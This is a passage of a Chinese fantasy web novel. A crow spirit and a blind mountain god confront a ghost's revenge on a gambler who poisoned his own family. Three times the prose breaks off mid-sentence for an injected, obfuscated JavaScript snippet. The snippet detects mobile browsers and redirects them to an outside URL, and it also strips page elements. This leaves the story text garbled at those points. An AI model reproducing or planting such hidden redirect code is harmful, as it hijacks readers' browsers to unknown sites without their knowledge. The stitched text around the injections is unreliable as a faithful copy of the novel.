夏日将尽,云层如流水般划过了天际。 夜幕急剧迫临,金乌振翼穿行于星间,它身后是即将被地平线吞没的太阳。 天空昏黄混沌,这是一个文明尚未来得及开化的时代。空相山峰峦叠起,它在断崖边看到了一大一小两个模糊的影子。 他到了。 时妙原落下地面,轻巧地收起了乌黑的爪与翅膀。他化作人形向前几步,朝其中一人热情地打起了招呼:“闻音!晚上好。许久不见,叫我来有什么……哎哟,哪来的小东西?” 对方冲他笑笑,将一个不及她腰高的男孩儿推到了时妙原面前。 “我儿子。以后说不定要接我的班,提前带你认识一下。” “哦——小山神呀。” 时妙原弯下腰去,他想摸摸那孩子的脑袋,被他躲开了。 “他好像不太喜欢你。”荣闻音笑着说道。 “不喜欢我?怎么可能!我从小到大就没见过对我不感兴趣的人!”时妙原夸张地捂住了心口,“闻音啊,你说句公道话,你就说我长得好不好看嘛,你这空相山里的花花草草哪个见到我不得叫我一声妙妙哥哥?他肯定是害羞了对吧,小孩儿,你看看我嘛!来,你看看哥哥,你真的不喜欢我吗?哎哟,你脸好红。” “我没有。”那男孩反驳道。 “没有不喜欢我?” “没有脸红。” 时妙原哈哈大笑,他揉乱男孩的头发,往他手里塞了颗杏子。 “这个送你吃,刚才我在山那头摘的,可甜了。小东西,你告诉哥哥呗,你叫什么名字呀?你长得这么漂亮,以后肯定很招人喜欢。” “他叫荣观真。” “哟,虽有荣观,燕处超然!不错不错,是个好名字……但这个‘真’字又是打哪来的?是珍珠宝贝疙瘩蛋的珍,还是妈妈的亲亲乖乖小甜心的真呀?嗯?” 时妙原弯下腰,笑意盈盈地打量起了荣观真。这孩子的表情十分迷茫,他大概是第一次见到如此自来熟的大人,那淡褐色的眸子里,盛满了许多难以言说的情绪。 他们对视着,对视着,直到时间停止了流淌。 时妙原笑着,笑着,看见荣观真的眼睛里流下了两行血泪。 他再一眨眼,荣观真脸上就只剩下了两个深不见底的大洞。 “不要啊!!!!” 时妙原尖叫着从床上弹了起来。 “……阿真?” 阿真不在这儿,这是间老旧破败的小木屋。 时妙原惊惶四顾,他发现自己正躺在床上。天花板的纹样陌生,屋内摆设看着倒是有些眼熟。床头的日历停留在了昨天,他盯着那页纸看了很久,才意识到这里是他刚复活时无意闯入的护林人居所。 什么情况,他难道还在海阳峰上吗? 时妙原深呼吸数次,终于将心率平复了下来。他开始回想自己昏迷前发生的事情,他记得他与白马一起把孩子送了回来,和人群汇合后便体力不支昏了过去。倒下前他隐约看见了个人影,他不确定那究竟是谁,但…… 时妙原心有余悸地摸了摸自己的眼眶。 “这什么破梦啊。” 窗外大雨瓢泼,一墙之隔似乎有人在交谈。他又在床上躺了一会儿,但翻来覆去睡不着,干脆起身推门走了出去。 “恩人,你醒了!” 张鸣恩一看到他,激动得差点掀翻了饭桌。他踉踉跄跄扑到时妙原身前,抓着他的手大喊道:“快,快来!快来坐,我们正在聊着呢,我刚才还在说,今天没有你可就真的全完了!” 时妙原环视一圈,屋内坐的竟都是他的熟人。周合云兴奋地站了起来,张鸣恩又是感谢又是要下跪,陈志捷看到他时肉眼可见地松了口气,结果最后还是张望先冲到他跟前,嗷嗷叫着在他身上擦起了鼻涕。 “黑户哥,我真的要被吓死了!”张望扯着嗓子嚎道,“你不知道当时情况有多凶险!我天,我们几个都以为你也要折进去了!我爹到最后都放话了,他说你要是有什么三长两短的,我肯定也得吃不了兜着走!” “张望!别瞎说话!” 张鸣恩立马喝止了儿子。他回头对时妙原哭诉道:“感谢您救了我们家遥遥,这大恩大德,我都不知道该怎么回报才好……我老婆前几年就去世了,我一个人把她拉扯大,要是她也没了,我真的就没有任何活头了!” 时妙原摆了摆手:“都是小事,我只求一点——叫你儿子别再喊我黑户哥了好吗?我有名字,你叫我时……不对,常栖迟就好。” “好的,好的明白了常老师!” “谢谢常大哥!” “多亏了常先生啊,要是没有你,我今晚收队回去肯定是睡不着觉了。” 赞叹声此起彼伏,听得时妙原整个鸟是飘飘又欲仙。他赶紧咳嗽几声,摆摆手制止了他们:“别夸了,咱谈点正事儿。那几个小孩现在在哪里?那个张遥,还有卷毛,他们都还健康吗?” “他们呀,都在隔壁屋休息呢。” 周合云指着另一间卧室说道:“孩子们都没什么大碍,能说能跳也都会动的。我们本来想直接下山,但大雨天摸黑走山路实在危险,所以我们就想着等天亮了雨小点再送他们到医院检查。恰好我有亲戚在这儿当护林员,他平日总是在外巡逻,就把钥匙交给我保管了。” 时妙原点了点头:“原来如此,那确实应该先在这儿休整一晚……有吃的吗?给我来点,我快要饿死了。” “有,有!锅里正煮着呢,你看!” 张望领着时妙原坐到桌边,邀功似地掀开了小火锅的盖子。时妙原一看:好一道群英荟萃!白萝卜、羊肉、荠菜和粉丝的香气瞬间飘遍全屋,他立刻找位置坐下,从陈志捷手中接过了一副干净的碗筷。 此值深夜,山里的雨势却只大不小。劫后余生之后,屋内众人也早已饥肠辘辘,时妙原最先开动,一时间饭桌上就只剩下了喝汤吃肉、大嗦粉丝的声音。 “所以……唔,在绳子断了之后,你就接着往洞里走了是么?”张望边吃羊肉边问他,“你是怎么出来的?为什么会翻到山那头去啊?我们都在洞口盯着,没想到你居然会从另一个方向出现。” “哦,我下的那个洞连着天坑,我找到他们以后上不去了,就一手拖着一个,肩上还背一个,给他们全都搬回来了呗。” 时妙原撒起谎来从不心虚,他既没说到山鬼魈,也没提荣观真和白马在这个过程中起的作用。怪力乱神之事对现代人而言毕竟太过遥远,他素来以擅长共情著称,这么做当然是为了避免恐慌——才不是因为想把功劳都揽到自己身上呢。 周合云附和道:“那真是太好了……哎哟,说起来,最近山里是实在不安全啊。我们刚进来的时候,就发现这儿好像被人翻过了一遍,虽然只是丢了几件衣服而已,别的倒没什么大碍。 “给我点干辣椒。”时妙原对张望伸出了手。 张望将干料瓶递给了他:“给。哎哟,周叔您这么一说我就想起来了!也就是现在时候好,要再早几年,遇到传说中那种吃小孩儿的妖怪,指不定今儿个就更凶多吉少了!” 陈志捷眉头紧锁;“都什么年代了,还哪来的什么吃人的妖怪?” “小陈哥,这你就有所不知了吧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“我说的不是旁边这个卷毛,是另一个和你们一起被困在藏仙洞的小朋友!”时妙原焦急地摇晃着张遥,“我不是也把他带回来了吗?他人在那里?为什么我没有看到他啊!” “啊?可是,开始我就是和他两个人一起进山的呀……” “什么?” 就在这时,卷毛也醒了过来。他一看到时妙原,就兴奋地从床上弹了起来:“大哥哥,你没死啊!” 时妙原没有搭理他。他死死地盯着张遥,就好像非得要从她脸上看出说谎的迹象来一样。 “你确定,洞里就只有你和卷毛两个人吗?”他一字一句地问。 “是、是的呀?”张遥战战兢兢地说,“那个,之前是有个朋友和我们一起在山里拍照,但她后来家里有事,就先走了……我和小方,我们两个走了很久,一不小心掉到了山洞里,再醒来就在这了……哪里有你说的第三个人啊?” 窗外接连划过数道闪电,雷鸣声激得屋内众人无不浑身一颤。 无数碎片似的画面涌进时妙原的脑海,他的脸色瞬间变得惨白无比。 碎石、溶洞、流水与鬼魈。 神像、石剑、白马与红纸…… 那个梦。 荣观真。 他流血的眼睛。 还有……高台上沉睡的男孩。 一张张熟悉或陌生的面庞自时妙原眼前闪过,在某个瞬间,他终于捕捉到了那一丝反复萦绕在他心间的不和谐感。 他想起来了。直到这时,时妙原才终于回想了起来——那神秘男孩的长相,似乎像极了小时候的荣观真。 10. 蟾宫落 “让开,别挡道。” 时妙原起身便要离开,张望赶紧冲上去拦住了他:“别啊哥!外面雨那么大,你这样贸然出去,万一出意外了可咋办!” “发生什么事了?”张鸣恩端着一碗羊肉汤走了进来,“是要给遥遥他们吃东西吗?我刚打了点肉,让我来喂吧。” “不是,我是要走。”时妙原坚定地说,“我不能再待在山里了。” “等等啊,哥,你这到底是咋了啊……”张望简直是一头雾水,“刚才还好好的,现在怎么突然就闹着要走了呢?你饭还没吃完呢,再怎么说也别浪费食物呀!” “张望啊。” 时妙原幽幽叹了口气。 他回过头,用一种十分苍老的语气对张望说道:“这事儿吧,对你来说理解起来可能有点困难,但反正你只要知道一点就够了。你哥我现在,是真的离死不远了。” “哎?” “你知道吗?我的仇家就要追上来了。”时妙原淡淡地说,“虽然说我俩现在有仇,但我们之前其实谈过好长一段时间恋爱。我跟他好的时候,他恨不得把天上的星星都摘下来送给我。我们刚闹掰那会,他每天就想着怎么能让我死无葬身之地。” “巧的是到最后他还真给我了我一刀,还巧的是他现在就在附近,更巧的是论打架我从来都没赢过他哪怕一次,最巧的你知道是什么吗?他应该已经发现我了。” 屋内突然变亮了许多,原来是窗外划过了两道闪电。时妙原静静地凝望着张望,直到雷声传到他们的耳边,直到,屋顶的吊灯被震出了薄薄的一层飘灰。 “你知道,新仇和旧恨加在一起是什么概念吗?”他轻声问道。 “我没时间陪你们闹了,我现在真的该走了。别用这种表情看我,也别问我需不需要法律援助,更别问我怎么办啊啊啊为什么屋子里会突然多出一个人——我不想弄清楚原因,我也没兴趣和你们在这儿破案,拜拜了啊哥几个,今天很不高兴认识大家,老子现在要逃命去了!” 说完,时妙原以迅雷不及掩耳之势冲到门前,用力拧开了把手。 …… 拧不开。 他又试了一次,依旧没有成功。 “快走。”张遥说。 “什么快走?”时妙原愕然回头,“这还用你催?我不是正走着呢吗?” “……不是我说的。” 张遥哆哆嗦嗦地举起了手机。 “是,是刚才有人给我发了短信……” 就着顶灯昏暗的光线,时妙原看清了那上面显示的内容。 屏幕上就只有两个字: 快走。 发件人:妈妈。 叮叮叮叮叮。除了时妙原以外,屋内其余人都收到了新消息。张鸣恩冷不丁哆嗦了两下,因为他的手机震得尤为厉害。 接连十几条短信通知蹦上锁屏界面,每一则显示的都是同样的内容: 别走。 别走。 …… 别想走! “发件人是,是玉谅?”周合云几乎站不太稳,“这怎么可能,这……她都已经……她都已经死……” “妈妈?是妈妈吗?”张遥茫然四顾道,“妈妈到这儿来了吗?” 没有人回答她的问题,屋外的风咆哮得近乎歇斯底里。窗缝间不断漏着冷雨,它快要碎了,但没人敢上去修理。 张鸣恩紧紧地攥着手机,过了好半晌,他艰难地从牙缝里挤出了一句话: “玉谅……是你吗?” 轰!!! 似是为呼应他的呼唤,一道惊雷在小屋上空炸响了开来。灯泡应声而灭,无休止的雷光映得木屋内外亮如白昼。窗上雨注横流,氤氲的雾气之中,一只骨节分明的大手“啪!”地拍上了本就摇摇欲坠的窗户。 然后它松开,在玻璃格间留下了半片残缺的莲花纹图样。 啪,啪,啪。 那手不断按下,不断松开,如是重复几次之后,它悬停在窗边,随后稍一用力—— 哗——! 木窗轰然崩裂,数不清的碎片和着雨注狂灌入了屋内。风暴哄堂大笑,将入目可及的一切尽数卷上了半空。桌椅七零八落,还冒着热气的羊肉汤锅瞬间被摔了个稀烂,有什么东西飞扑到张鸣恩嘴边,他一尝,竟是几株新鲜又柔嫩的香菜。 他愣了半秒,而后大叫道:“有鬼啊!!!!!” “鬼?什么鬼!爸,爸你可别吓我啊!!” “怎么回事!灯怎么灭了!” “是谁在踩我的脚?啊——!!” “不要乱跑!冷静,冷静,先冷静下来再说!” “都让开,让我先走!有鬼啊!闹鬼了!她是来找我的,让我走,让我先走吧!!” 屋内混乱至极,张鸣恩拨开人群慌不择路地逃出了卧室。他先是跑向了后院,没想到房门竟全部死锁,然后他退回客厅,视线范围内所有门闩全被外力绞烂拧结在了一起。他回头望向来处:有一扇窗户正洞然大开着。但只要是脑子正常的人,都不会想要从那个地方逃跑。 情急之下,张鸣恩干脆直接趴倒钻进了木床底下。时妙原见状,也冲回去把卷毛和张遥抱起来塞到了床底。 他一边塞,一边冲不断大叫的张鸣恩吼道:“别吵了!你倒是给他们让一让啊!你爸爸的,你这个当爹的能不能稍微考虑一下小孩啊?!” 时妙原刚安置好两个孩子,一回头,对上了荣观真如面具般平静的面庞。 ——轰。 他们相视在电闪雷鸣时。 时妙原怔怔地看着荣观真。 有那么一瞬间,他几乎忘记了要怎么呼吸。 这还是他认识的荣观真,这还是他印象中的荣观真。他还是那样平静,他还是那么从容。他的眉目俊逸且柔和,他的五官精致却不失锋芒。他对他微微勾起了嘴角,于是时妙原想起来,那含笑的唇曾亲昵地喊他的名字,而那浓密的睫毛也曾在许多个夜晚轻轻刮蹭过他的手心。 那张碍事的红纸不见了,荣观真现在的模样与时妙原记忆中的几乎分毫不差,除了…… 他的眼睛。 时妙原还在发愣,荣观真朝他直直地伸出了右手。 他掌心的纹路光彩诡谲,灼热的气息直冲面门而来,这是时妙原曾亲身体验过的死亡。 多年以前,许久以前,他就是在这样的火焰中,在众神注视下被荣观真贯穿了心脏。 现在,他又将重蹈覆辙。 “啊啊啊!啊啊啊啊啊啊!别!别杀我!!” 哎? 时妙原猛然回头,只见荣观真拽着张鸣恩的脚踝将他拖出床底,一用力掼到了墙上。 “周玉谅。” 荣观真对空气说:“现在他归你处置了。” 时妙原正在晃神,就见到木墙上多了道陌生的影子。 一个女人的影子,瘦高纤细,仪态优雅。她缓步向张鸣恩走去,在他将要喊出她的名字时——张口咬住了他的喉结。 默剧正在上映,耳畔除风声外便再无别物的呢喃。他在默默地挣扎,而她则默默地撕咬,他静静地歇斯底里,而她亦无声大笑。狂风中,张鸣恩的身体正因爱人的抚摸而不断痉挛。恍然间,时妙原有错觉仿佛听见了他们的耳语。 观众们皆不作声,没有人会为这场表演喝彩。包括张遥和卷毛在内,在场所有人类都在荣观真现出真身的那一刻陷入了昏迷。那鬼影很快就撕下了张鸣恩的最后一片影子,然后,她直直地望向了时妙原与荣观真所在的方位。 只此一眼,不属于自己的回忆便如山呼海啸般涌进了时妙原的脑海。 “嫁给我吧,玉谅!我向山神老爷发誓!我一定会对好好对待你的!” 春日草长莺飞,他在纷飞的杏花树下牵起了她的手。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16142652|180435||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 很快,另一只肉嘟嘟的小手也加入了他们中间。 “老婆,你这次就帮我把钱还了好不好?我向你保证,我以后绝对不会再赌了!” 夏日暑气蒸腾,好在转款到账的提示音为人提供了一丝阴凉。她放下手机抱起尚在襁褓中的女儿,然后她脑袋一歪,获得了一个响亮且清脆的耳光。 “这点钱你都不愿意替我还,那我要你究竟还有什么用啊?!” 她获得了一个耳光,一次争吵,一场推搡,和一次同样在杏花海边的下坠。 “只要能拿到遥遥的保险金……这点债根本就算不上什么……” 张遥和卷毛行走在山间,她还没来得及认真去看看那溶洞的面目,便被一双宽大而温暖的手掌果断推入了深渊。 然后他逃离,他下山,他坐回了牌桌前。他无数次拿起手机,只为等一条值得他痛哭流涕的通知。 他的眼泪没能落地,他背着女儿恍惚地回到了屋中。羊肉汤在锅内热烈地翻滚,他摸出了一小瓶提前准备好的农药。 “呃啊——咳,咳咳咳咳咳!” 时妙原从回忆中抽离,方才看到的画面令他胃里翻江倒海。张鸣恩端来的肉汤洒了一地,荣观真踢开瓷碗,走到他身前揪住了他的衣领。 “你老婆死在了我的地盘上,所以,她顺道来向我告了一状。”荣观真说。 咔哒。张鸣恩的脖子歪到了左边。荣观真大概是觉得这样看不顺眼,把他掰回到了更靠中间一点的位置。 “别怪我偏心,她从前供的东西比较合我口味,你给的么,说实话就和潲水一样。你应该听说过吧?我生平最讨厌对我食言的人。所以……再见了哦。” 张鸣恩的眼珠微微动了一下。他看见眼前“人”的嘴巴一张一合,在他的舌头上,纹了朵淡得几乎看不见颜色的莲花。 “我有个朋友在阴司做事,她说她那儿有至少七十六道刑罚在等你去尝试。”那黑莲欢快地说道,“我已经打好招呼了,你就放心地去吧,到了万霞天记得向施奶奶自报家门。你就对她说……说你是空相山神的罪人就可以。” 说完,荣观真松开手,在张鸣恩将要瘫倒在地之前精准地扣住了他的头颅。 张鸣恩脸上的横肉剧烈地颤抖了起来,他的身体不断抽搐,瞳孔也迅速放大到了极限。又一道惊雷炸开,这次它直接在木屋墙上烧出了一个大洞——尘土喷溅而出,时妙原下意识背过了身去。 视线再度清晰之后,他只觉得眼前一片光明。 天竟然亮了。 山中阳光明媚。 暴雨戛然而止,周遭一片狼藉。 屋墙破了个洞,时妙原循着光来的方向望去,荣观真此时正站在屋外,低着头鼓捣着不知什么东西。 雨水打湿了他的衣领,那件总是洁白的西装外套破天荒染上了污渍。它的主人掸去肩上的水珠,将一串断了绳的挂坠小心翼翼地捧进了手心。 那是条老旧的贴身银链,它的最底端,挂着片已经看不清本色了的羽毛。 它大概是在刚才的混乱中受了牵连,荣观真只不过轻轻碰了一下,它就彻底碎成了浮粉 一阵风吹来,带走了它曾存在过的痕迹。 荣观真微微一愣,慢慢地把手放了下来。 然后他抬头望向时妙原,四目相对瞬间,时妙原感觉自己的心脏直接漏跳了一拍。 到这时他才终于意识到,荣观真身上到底发生了什么变化。 荣观真变得其实不多。 他还是那样英俊,他还是那样平静。只是……他的双瞳变得淡如轻灰,曾经温吞的棕褐已然褪成了白纸。它们是那样寡淡,在日光映照下,就像是未能够成功上色的、破碎而又被复融的琉璃晶球。 “是谁在那里?”荣观真问。 时妙原无声地张了张嘴。 他发现,荣观真现在,根本就看不见任何东西。 11. 五蕴炽盛(一) “常栖迟?” 荣观真有些迟疑地喊出了这个名字。 “是你吗?常栖迟,我之前是不是在藏仙洞见过你?” “哎……哎!哎对,对的对的对的!是我啊荣老爷,是我,我就是常栖迟!” 时妙原立马反应过来,一溜小跑蹿到了荣观真面前。他又是作揖又是拱手,也不管荣观真看不看得见,就对他做足了求神拜佛的全套礼节。 “哎哟,我刚才还说呢!我就说是谁那么英明神武,一出场就咔咔咔凿了这好几个窟窿!原来是荣老爷来了,哈哈哈,小的刚才给鬼迷了眼,一下子没认出来您,真是有眼不识泰山……啊不对,空相山啊!” “你为什么会在这?”荣观真问,“我之前不是说过要你下山的吗?” “那什么,我今晚是来聚餐的!”时妙原急忙扯谎道,“里头那几个都是我亲戚!就我跟你说过的,每天一睁眼就念叨你名字的那些!就他们!” “这样啊,那你家里人还蛮多的。” “哈哈,哈哈……” 时妙原干笑几声,趁着和荣观真搭话的当口,他不动声色地观察起了周围的状况。 这小屋差不多毁了。雨停前的最后一道惊雷炸破了木墙,就连屋顶的铁皮也被掀翻了一半。屋内到处都是家具电器的残骸,张遥和卷毛因倒在床下而未被砸伤,周合云等人则七横八竖地晕在了稍远些的地方。他们全都毫发无损,而张鸣恩恐怕就没那么幸运了。 他直挺挺地躺在地上,好巧不巧,那碗被下了毒的羊肉汤正正好好地被扣到了他的脸上。 他已经没有了呼吸。 这里的人是死的死,昏的昏,而荣观真…… 荣观真失明了。 只消一眼,时妙原便发现,现在的荣观真不仅瞳色极淡,观人看物时视线也没有任何焦点。 山神失明,他从来没想过这四个字居然还能有被组合在一起的那天。毕竟神仙不需要眼睛,荣观真也从来不需要倚靠五感来行动。山就是荣观真,荣观真就是山,只要荣观真想,但凡是来过山里的、处在山中的、乃至于任何提到过“空相山”这三个字的人,都有没办法逃脱出他的感知。 时妙原猜,荣观真现在应该只是视力上出了点问题,因为目前看来他能跑能跳,用起法术来也没有丝毫拖沓,就在刚才还差点徒手拆了一间屋子!不过比起这些,时妙原更好奇的是他是如何变成这个样子的,而且……昨天在藏仙洞里的时候,他明明应该是看得见的呀? “你发什么呆呢?” 许是时妙原沉默得太久,荣观真察觉到了一丝异样。他微微皱起眉头,拉开了两人之间的距离。 “那什么……我在,我在那啥……哎呀,我在看您呢!” 时妙原一拍手掌,摇着并不存在的尾巴再次贴了上去:“哎呀,我就是在感慨,咱荣老爷是真帅,真俊!比画本里的都还要美上个五六七八九十倍!早前洞里头光线不好,现在天亮了终于给我看爽了啊不是,终于让小的目睹您的真容了呀!荣老爷真是气度不凡、貌若天神、绝尘脱俗、秒杀万物!这天上天下就没人能比您还帅的!哦,还有这边这位,又见面了啊小马,你吃过早饭了没有?” 白马踢踢踏踏走来,像一辆小车似的停靠在了荣观真身边。它看见时妙原时明显兴奋了一下,但主人还在这里,它必须保持庄重。 白马对时妙原兴致极高,而荣观真好像就不是很想搭理他了。他拍拍爱马的脊背,越过满地狼藉走进了屋内,时妙原回头望去,只见荣观真踱到张鸣恩身边,用鞋尖将他脸上的汤碗掀翻了个面。 当啷。那碗在地上震了两下,骨碌碌地滚到了床底。 张鸣恩果然死了。 他的脸色铁青,嘴眼大张,十指呈鸡爪状不自然屈起,脸上还挂着两根死不瞑目的香菜。 见他这样,荣观真不由得冷笑了一声: “死赌鬼。活该被自己玩死。” “他这是……被吓死了?”时妙原小心翼翼地问。 荣观真嗤讽道:“吓死的,毒死的,兼而有之。他杀了自己老婆,又想害亲生女儿,结果两头没讨好,自食其果了而已。” “他老婆?” 时妙原将视线移到墙上,他发现那女人的影子还在,只是在阳光下淡了许多。 荣观真指着那影子说:“她是周玉谅,张遥和张望的妈妈。她死在藏仙洞边,其后就一直在附近徘徊,好巧不巧就碰见了自己老公谋杀亲女。张鸣恩这老赌狗输光了家产,舍不得卖酒店,就打起了张遥保险金的主意。藏仙洞里没信号,是周玉谅想办法找人求救的,把我带去洞里的也是她,也得亏张鸣恩当年没舍得花钱给她做超度,不然,那俩小孩现在应该已经快喝完孟婆汤了。” 墙上的鬼影依旧绰约,只是在日出后变得稍淡了许多,即便很快就要被阳光冲散,她也在试图抚摸床底下沉睡的女孩儿。 “时间不早了,你还是先走吧。”荣观真对她说道,“还有什么冤枉的到万霞天再讲,张鸣恩应该已经在那儿了,施奶奶会帮你教训他的。” 那鬼影向荣观真作了一揖,随后便消散不见了。 “原来如此啊……”待到鬼影彻底消失后,时妙原感慨道:“我说怎么救援人手这么紧缺,恐怕张鸣恩根本就没费心思去找吧……我靠,等一下!那我下来的时候绳子断了,不会也是他割的吧?这老不死的,他居然敢骗我!!” 荣观真点头道:“是啊,张鸣恩骗了所有人,还有你。” “我?” “你也骗了我。” 一阵劲风袭来,时妙原只一眨眼,就见到荣观真的脸突然放大数倍,直直地闪现到了他眼前。 鬼啊!!!时妙原内心惨叫一声,吓得接连后退了好几步,孰料荣观真扣住他的脖子,一把将他拽进了怀里。 变化猝不及防,时妙原根本就没有任何反应余地。荣观真翻脸素来比翻书还快,从前时妙原就在这一点上吃尽了苦头,就好像现在,上一秒他还在和颜悦色地为时妙原解释案情,下一秒,他便掐得他整个人都瘫软了下来。 “别!别!荣老爷!疼啊!”时妙原像条游蛇似地在他怀里扭动了起来,“哎哟,我求您轻点儿吧!我好难受啊,我我我我不能呼吸了,老爷您弄得我好疼啊——” “常栖迟,你骗了我。” 荣观真的语气十分平和,可他的动作却远没有这么温柔:“寻常人见不得我的真身,你非但毫发无伤,还能在这儿和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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荣观真加大了手上的力度,他冷冷地笑道:“光不敢有什么用?下次再犯怎么办?你总得拿出点诚意来,证明证明你自己吧。” 诚意?拿什么诚意? 时妙原的大脑一片空白。 荣观真的意思是,要他拿东西出来赔罪吗? 他想从他这儿得到什么? 贡品?祭物?财宝?活牲? 三柱高香?九进新庙?童男童女?还是……他的性命?! 不对不对不对,不管荣观真想要什么东西,这不都是开玩笑吗?他现在钱也没有,法力也没有,就连命也不知道什么时候就要被收回去,他都穷成这样了,荣观真还指望能从他身上拿到啥金贵玩意儿啊? 难道说…… 时妙原惊恐地捂住了胸口。 他总不能是……要劫色吧!? 虽然吧他也不是不行,虽然他俩也不是没干过这事儿,虽然荣观真其实干得挺……但在这个地方?在这种情况下?旁边还有死人,他俩还有宿怨,白马就在旁边看着呢,旁边那么多花花草草石子儿小树的就玩这套是不是太背德了一点啊?! 正当时妙原满脑子劲爆画面之时,荣观真冷不丁开口道:“变回去给我看看。” “啥?”时妙原神情一僵。 “我说,我要你变回本相给我看看。” 荣观真居高临下地说:“你不是鸟妖吗?那你就证明给我看好了。我至少得确认你到底是什么东西,然后再决定怎么处置你吧?就现在,给我变!你要是不愿意的话,就等着被拔了舌头下去陪张鸣恩作伴吧!” 12. 五蕴炽盛(二) 时妙原傻眼了。 “这,这,这是不是不太啊?”他语无伦次地说,“我那什么,我要是变回鸟了,那衣服也不穿,屁股蛋子也光着,这给您看见了得多难为情啊……” “你不愿意?”荣观真的变得语气危险了起来。 “我……” “来嘴巴张开,可能有点疼但我不会打麻药的你忍一忍啊。” “别!我变!我变还不行吗!!” 死亡威胁之下,时妙原不敢再多作违抗。他哆哆嗦嗦地举起双手,眼睛一闭,心一横,调度起了为数不多的法力。 变回去……变回去…… 他要怎么变? 时妙原内心直犯嘀咕。 直接变回原形?那估计还没落地就能被荣观真撕吧撕吧吃了。 变成别的动物?一时半会也很难有更好的方案。 况且荣观真已经确认了他就是鸟妖,他也不能在他眼皮子底下整出什么幺蛾子来…… 到底该怎么……等等。 他有办法了。 “你还在犹豫什么?”荣观真似乎是等得有点急了,他不耐烦地说:“常栖迟,我劝你不要跟我耍花样,你要是不想死最好就动作快点,要不然……嗯?” 催促声戛然而止,有什么东西发生了变化。 最先感知到异样的是双耳。它们听见了骨骼缩张,肌肉拧动的颤音。 然后是鼻腔。刚下过雨的山里,空气清新而又带着丝丝凉意,但在这由草木构成的冷香中,他闻到了一阵温热而干燥的气息。 这就好像是在艳阳天的午后收回了一床棉被,被褥和棉絮晒得又松又软,把脸埋进去的话,会闻到如细沙般柔和的,小动物的味道。 气味会有质感吗?关于这一点荣观真其实并不确定。他睁大了眼睛试图看清点什么,只可惜视野中萦绕不去的黑令他的期待作了空。 但很快他又捕捉到了更直白些的信号:他手里抓着的东西变了。本来湿冷的皮肤生出了绒毛,相贴的面积也在不断缩小,他确信对方并没有撒腿逃跑,只是现在,那段脆弱的脖颈暂时脱离了他的掌控。 眼下,这山中似乎升起了一团燃得温和的小型太阳。 “这是……” 太阳簌簌地扑腾了两下翅膀。然后,它颤颤巍巍、小心翼翼地把自己挤到了荣观真掌中。 好软!这是荣观真的第一反应。这小东西柔软又轻和,它的体型估计就只有他巴掌大,棉花糖一样的底绒裹住了他的五指,在那温热的皮毛间,他捕捉到了一丝微若呢喃的轻颤。 “叽。” 时妙原唯唯诺诺地叫了一声。 “我……我变好了。” 虽然荣观真现在看不见他,但是他现在的的确确变回了一只毛毛茸茸、迷你小巧、泫然欲泣、哆哆嗦嗦,脸上写满了弱小可怜无助祈求等一系列复杂情绪的……黑色小鸟。 白马俯到荣观真耳边嘀咕了些什么,荣观真立刻问道:“你是乌鸦?” 时妙原赶忙摇头,他爪子一叉,往后一仰倒在荣观真手中,当机立断冲他露出了白花花的肚皮。 白马发出了一声欢快而又惊奇的啼叫。 “喜鹊?!”荣观真震惊地问道,“你确定!?” 对,喜鹊!没想到吧! 时妙原得意得连尾巴都要翘到了天上。 乌鸦通体漆黑,喜鹊肚皮泛白,这两种鸟儿在人类的意象表征中各司其职,可它们在外型上的差异却并没有那么鲜明。 他现在法力有限,最多就只能把肚子上的羽毛变白、再尽量缩小自己的体型。他不确定荣观真对自己的恨意还有多少,但反正只要不现原形他应该就能再糊弄一会儿。那白马虽见过他的翅膀,但它其实也就是远远看过而已……乌鸦翅膀是黑的,喜鹊的当然也是! 怎么样,这下就天衣无缝了吧?他是喜鹊,不是乌鸦,他是常栖迟,不是时妙原!荣观真就算贵为山神,想惩戒无冤无仇的小妖怪,那也得要有个由头不是吗! 老子简直就是个天才!时妙原太过激动,差点没直接从荣观真手里翻出去。他赶紧稳住身子,冲正捧着他发呆的山神疯狂眨巴起了眼睛。等到眼皮都快抽筋了他才想起来荣观真其实看不见,这可真是彻彻底底的抛媚眼给瞎子看。 荣观真好像受到了极大的冲击。他不自觉地捏着时妙原的羽毛,似乎是想要凭触觉分辨出他真正的花色。 “真的是喜鹊吗……” “荣老爷!”“他在这里!” 荣观真正乱摸着,背后传来了两声饱含喜悦的呼唤。 时妙原叽一声扭过头去,只见两个长得神气可爱的男孩朝这边跑了过来。他们穿着一蓝一红样式相似的素色练功服,腰间还各自别着一根小树枝,从他们眉间的莲纹来看,这应是荣观真身边的护法。 生面孔啊!时妙原顿时产生了好奇:他从没见过这两个小孩,难道他们是在这九年间新飞升的神仙? 小护法们着急忙慌地跑到荣观真身前,扒在他身边叽叽喳喳地转了起来。他们的表情之严肃,神色之凝重,就好像在看什么极为易碎的珍稀动物一样。其中穿蓝衣服的男孩急吼吼地问道:“荣老爷,您没事儿吧!我和居星正打着坐呢突然就发现您人不见了!我还以为您掉水里去了,差点也要跟着一起跳下去了!” “亭云说您走丢了,我不信,还跟他吵了一架!”被唤作居星的那位恨不得直接爬到荣观真头顶上,“我说荣老爷虽然上了年纪,但也不至于糊涂成这样,肯定是有事儿要办才不告而别的。这不!亭云,咱老爷拆屋顶来了。” “不是拆墙吗?” “哎呀,都拆了都拆了,一个不剩。” “关亭云,关居星!”荣观真忍无可忍地把他俩从身上扒了下来,“你们给我先闭嘴!然后手撒开,站好!不许说话了,吵得我头疼。” 